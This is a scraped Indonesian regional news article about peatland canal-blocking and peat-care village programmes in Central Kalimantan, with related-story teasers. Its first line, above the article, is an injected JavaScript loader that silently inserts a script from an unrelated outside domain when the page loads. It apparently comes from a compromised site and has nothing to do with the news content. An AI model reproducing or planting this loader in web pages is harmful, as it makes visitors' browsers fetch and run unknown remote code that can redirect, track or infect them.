(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BUNTOK – Kabupaten Barito Selatan bersama Kabupaten Pulang Pisau dan Kapuas menerima sekat kanal dan desa mandiri peduli gambut dari Direktorat Jendral Pengendalian Pencemaran dan Kerusakan Lingkungan, di Palangkaraya, Jumat (19/3/2021).
Direktorat Jenderal Pengendalian Pencemaran dan Kerusakan Lingkungan MR Karliansyah dalam arahannya menyampaikan pemulihan ekosistem gambut melalui program pemulihan ekonomi nasional untuk mendukung program ketahanan pangan Nasional (Food Estate) dan PEN dilaksanakan di areal eks PLG 1 Juta Hektare, Provinsi Kalteng melalui kegiatan inventarisasi karakteristik ekosistem gambut skala 1:50.000 pada 9 KHG seluas 1.277.800 hektare dan pembangunan 663 sekat kanal dengan luas areal yang terpulihkan (terbasahkan) seluas 36.298,7 hektare.
pekerjaan pembangunan sekat kanal di Kabupaten Barito Selatan, Kabupaten Kapuas dan Kabupaten Pulang Pisau di Provinsi Kalteng melibatkan masyarakat desa sejumlah 6.704 orang terdiri dari 4.936 orang laki-laki dan 1.768 orang perempuan yang melakukan berbagai utama pekerjaan pembangunan sekat kanal. Adapun besaran dana yang tersalurkan kepada masyarakat melalui pembangunan sekat kanal sebesar Rp 32.893.322.913.
Adapun program desa mandiri peduli gambut dilaksanakan di 47 desa dan 8 kelurahan dengan besaran dana tersalurkan sebesar Rp 34.923.497.926 dengan kegiatan antara lain rehabilitasi vegetasi menggunakan tumbuhan petai, jengkol, sengon, karet, meranti, bambu puring dan rumbia.
Baca juga: PKL Subuh Terus Terlunta-lunta, Sempat ‘Setor’ Iuran untuk Dapatkan Lokasi Baru
Peningkatan pendapatan masyarakat melalui komoditas pertanian antara lain cabai, tomat dan terong. Peningkatan nilai komoditas berupa pengembangan usaha anyaman rotan.
Selain itu budidaya perikanan meliputi papuyu, patin, betok, toman, nila dan lele dumbo. Budidaya peternakan antara lain ayam pedaging dan itik; pembangunan kolam perangkap ikan (kolam beje).
Penyediaan air bersih, pembangunan sekat kanal secara mandiri oleh masyarakat. Selain penyaluran dana melalui kegiatan, capaian dari program ini yaitu pembangunan 24 sekat kanal yang membasahi areal gambut seluas 720 hektar dan rehabilitasi vegetasi seluas 173 hektare.
Bupati Barsel H Eddy Raya Samsuri ST mengucap terimakasih atas kepercayaan atas yang telah diberikan untuk Kabupaten Barsel, dan tentunya Kabupaten Barsel akan mendukung program ini demi menunjang suksesnya pembuatan sekat kanal dan pengembangan lahan gambut.
“Kita tentu akan mendukung penuh agar terlaksananya program pengelolaan lahan gambut yang ada di Barsel baik dari segi pertanian maupun perikanan yang ada nanti,” pungkas Eddy Raya.(kanalkalimantan.com/digdo)
Reporter : digdo
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.